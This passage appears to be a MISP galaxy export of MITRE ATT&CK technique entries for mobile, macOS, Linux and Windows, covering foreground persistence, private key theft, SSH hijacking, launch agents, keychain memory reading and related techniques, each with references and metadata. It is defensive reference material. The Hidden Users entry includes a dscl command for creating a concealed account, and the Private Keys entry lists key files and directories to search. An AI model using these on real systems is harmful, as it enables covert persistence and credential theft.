- https://attack.mitre.org/techniques/T1414 - webarchive
- https://developer.android.com/about/versions/10/privacy/changes#clipboard-data - webarchive
- https://developer.apple.com/documentation/uikit/uipasteboard - webarchive
- https://github.com/grepx/android-clipboard-security - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1414 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection', 'mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Foreground Persistence - T1541
Adversaries may abuse Android's startForeground() API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s startForeground() API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)
Malicious applications may abuse the startForeground() API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)
Malicious applications may also abuse the startForeground() API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)
Internal MISP references
UUID 648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e which can be used as unique global reference for Foreground Persistence - T1541 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1541 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/ - webarchive
- https://developer.android.com/guide/components/services.html#Foreground - webarchive
- https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices - webarchive
- https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1541 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-Android:persistence'] |
| mitre_platforms | ['Android'] |
Private Keys - T1145
Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)
Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users(username).ssh\ on Windows.
Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.
Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)
Internal MISP references
UUID 56ff457d-5e39-492b-974c-dfd2b8603ffe which can be used as unique global reference for Private Keys - T1145 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1145 - webarchive
- https://en.wikipedia.org/wiki/Public-key_cryptography - webarchive
- https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf - webarchive
- https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1145 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Lockscreen Bypass - T1461
An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen. Several methods exist to accomplish this, including:
- Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device’s passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.(Citation: SRLabs-Fingerprint)(Citation: TheSun-FaceID)
- Unlock code bypass: An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (“shoulder surfing”) the device owner’s use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.
- Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.(Citation: Wired-AndroidBypass)(Citation: Kaspersky-iOSBypass)
Internal MISP references
UUID dfe29258-ce59-421c-9dee-e85cb9fa90cd which can be used as unique global reference for Lockscreen Bypass - T1461 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1461 - webarchive
- https://srlabs.de/bites/spoofing-fingerprints/ - webarchive
- https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/ - webarchive
- https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/ - webarchive
- https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1461 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Data Manipulation - T1641
Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
The type of modification and the impact it will have depends on the target application, process, and the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.
Internal MISP references
UUID c548d8c4-a0a3-4a24-bb79-2a84abbc7b36 which can be used as unique global reference for Data Manipulation - T1641 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1641 |
| kill_chain | ['mobile-attack-Android:impact'] |
| mitre_platforms | ['Android'] |
URI Hijacking - T1416
Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.
Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)
Internal MISP references
UUID 77e30eee-fd48-40b4-99ec-73e97c158b58 which can be used as unique global reference for URI Hijacking - T1416 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1416 |
| kill_chain | ['mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Input Capture - T1417
Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal device usage, users often provide credentials to various locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Keylogging) or rely on deceiving the user into providing input into what they believe to be a genuine application prompt (e.g. GUI Input Capture).
Internal MISP references
UUID a8c31121-852b-46bd-9ba4-674ae5afe7ad which can be used as unique global reference for Input Capture - T1417 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1417 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection', 'mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Hidden Users - T1147
Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).
Internal MISP references
UUID ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff which can be used as unique global reference for Hidden Users - T1147 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1147 |
| kill_chain | ['attack-macOS:defense-evasion'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Software Discovery - T1418
Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions.
Adversaries may attempt to enumerate applications for a variety of reasons, such as figuring out what security measures are present or to identify the presence of target applications.
Internal MISP references
UUID 198ce408-1470-45ee-b47f-7056050d4fc2 which can be used as unique global reference for Software Discovery - T1418 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1418 |
| kill_chain | ['mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
SSH Hijacking - T1184
Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)
SSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.
Internal MISP references
UUID c1b11bf7-c68e-4fbf-a95b-28efbe7953bb which can be used as unique global reference for SSH Hijacking - T1184 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1184 - webarchive
- https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf - webarchive
- https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking - webarchive
- https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219 - webarchive
- https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1184 |
| kill_chain | ['attack-Linux:lateral-movement', 'attack-macOS:lateral-movement'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Web Service - T1481
Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed).
Internal MISP references
UUID c6a146ae-9c63-4606-97ff-e261e76e8380 which can be used as unique global reference for Web Service - T1481 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1481 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
LC_MAIN Hijacking - T1149
This technique has been deprecated and should no longer be used.
As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.
Internal MISP references
UUID a0a189c8-d3bd-4991-bf6f-153d185ee373 which can be used as unique global reference for LC_MAIN Hijacking - T1149 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1149 |
| kill_chain | ['attack-macOS:defense-evasion'] |
| mitre_platforms | ['macOS'] |
Disk Wipe - T1561
Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Novetta Blockbuster Destructive Malware)
On network devices, adversaries may wipe configuration files and other data from the device using Network Device CLI commands such as erase.(Citation: erase_cmd_cisco)
Internal MISP references
UUID 1988cc35-ced8-4dad-b2d1-7628488fa967 which can be used as unique global reference for Disk Wipe - T1561 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1561 - webarchive
- https://docs.microsoft.com/sysinternals/downloads/sysmon - webarchive
- https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1561 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact', 'attack-Network:impact'] |
| mitre_data_sources | ['Command: Command Execution', 'Drive: Drive Access', 'Drive: Drive Modification', 'Driver: Driver Load', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Input Injection - T1516
A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs.
Input Injection can be achieved using any of the following methods:
- Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.(Citation: android-trojan-steals-paypal-2fa)
- Injecting global actions, such as
GLOBAL_ACTION_BACK(programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019) - Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)
Internal MISP references
UUID d1f1337e-aea7-454c-86bd-482a98ffaf62 which can be used as unique global reference for Input Injection - T1516 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1516 - webarchive
- https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html - webarchive
- https://help.bitwarden.com/article/auto-fill-android/ - webarchive
- https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1516 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-Android:impact'] |
| mitre_platforms | ['Android'] |
Startup Items - T1165
Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.
Internal MISP references
UUID 2ba5aa71-9d15-4b22-b726-56af06d9ad2f which can be used as unique global reference for Startup Items - T1165 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1165 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Access Notifications - T1517
Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)
Internal MISP references
UUID 39dd7871-f59b-495f-a9a5-3cb8cc50c9b2 which can be used as unique global reference for Access Notifications - T1517 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1517 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-Android:credential-access'] |
| mitre_platforms | ['Android'] |
Dylib Hijacking - T1157
macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.
A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)
If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.
Internal MISP references
UUID aa8bfbc9-78dc-41a4-a03b-7453e0fdccda which can be used as unique global reference for Dylib Hijacking - T1157 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1157 - webarchive
- https://capec.mitre.org/data/definitions/471.html - webarchive
- https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1157 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Software Discovery - T1518
Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Such software may be deployed widely across the environment for configuration management or security reasons, such as Software Deployment Tools, and may allow adversaries broad access to infect devices or move laterally.
Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.
Internal MISP references
UUID e3b6daca-e963-4a69-aee6-ed4fd653ad58 which can be used as unique global reference for Software Discovery - T1518 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1518 |
| kill_chain | ['attack-Windows:discovery', 'attack-IaaS:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Firewall: Firewall Enumeration', 'Firewall: Firewall Metadata', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS'] |
Launch Agent - T1159
Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).
Internal MISP references
UUID dd901512-6e37-4155-943b-453e3777b125 which can be used as unique global reference for Launch Agent - T1159 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1159 - webarchive
- https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - webarchive
- https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ - webarchive
- https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - webarchive
- https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - webarchive
- https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update - webarchive
- https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
- https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1159 |
| kill_chain | ['attack-macOS:persistence'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Application Versioning - T1661
An adversary may push an update to a previously benign application to add malicious code. This can be accomplished by pushing an initially benign, functional application to a trusted application store, such as the Google Play Store or the Apple App Store. This allows the adversary to establish a trusted userbase that may grant permissions to the application prior to the introduction of malicious code. Then, an application update could be pushed to introduce malicious code.(Citation: android_app_breaking_bad)
This technique could also be accomplished by compromising a developer’s account. This would allow an adversary to take advantage of an existing userbase without having to establish the userbase themselves.
Internal MISP references
UUID 28fdd23d-aee3-4afe-bc3f-5f1f52929258 which can be used as unique global reference for Application Versioning - T1661 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1661 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access', 'mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Call Control - T1616
Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.
Several permissions may be used to programmatically control phone calls, including:
ANSWER_PHONE_CALLS- Allows the application to answer incoming phone calls(Citation: Android Permissions)CALL_PHONE- Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions)PROCESS_OUTGOING_CALLS- Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions)MANAGE_OWN_CALLS- Allows a calling application which manages its own calls through the self-managedConnectionServiceAPIs(Citation: Android Permissions)BIND_TELECOM_CONNECTION_SERVICE- Required permission when using aConnectionService(Citation: Android Permissions)WRITE_CALL_LOG- Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions)
When granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using Intent.ACTION_DIAL, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of Input Injection to programmatically initiate it.
Internal MISP references
UUID 351ddf79-2d3a-41b4-9bef-82ea5d3ccd69 which can be used as unique global reference for Call Control - T1616 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1616 - webarchive
- https://developer.android.com/reference/android/Manifest.permission - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-41.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-18.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-36.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-42.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1616 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-Android:impact', 'mobile-attack-Android:command-and-control'] |
| mitre_platforms | ['Android'] |
Browser Extensions - T1176
Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.
Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)
Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)
There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for Command and Control.(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for Defense Evasion.(Citation: Browers FriarFox)(Citation: Browser Adrozek)
Internal MISP references
UUID 389735f1-f21c-4208-b8f0-f8031e7169b8 which can be used as unique global reference for Browser Extensions - T1176 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1176 - webarchive
- https://developer.chrome.com/extensions - webarchive
- https://en.wikipedia.org/wiki/Browser_extension - webarchive
- https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ - webarchive
- https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)) - webarchive)
- https://kjaer.io/extension-malware/ - webarchive
- https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf - webarchive
- https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ - webarchive
- https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses - webarchive
- https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/ - webarchive
- https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global - webarchive
- https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ - webarchive
- https://www.xorrior.com/No-Place-Like-Chrome/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1176 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Securityd Memory - T1167
In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)
If an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)
Internal MISP references
UUID 2715c335-1bf2-4efe-9f18-0691317ff83b which can be used as unique global reference for Securityd Memory - T1167 in MISP communities and other software using the MISP galaxy
External references
- http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain - webarchive
- http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way - webarchive
- https://attack.mitre.org/techniques/T1167 - webarchive
- https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1167 |
| kill_chain | ['attack-macOS:credential-access'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Process Doppelgänging - T1186
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
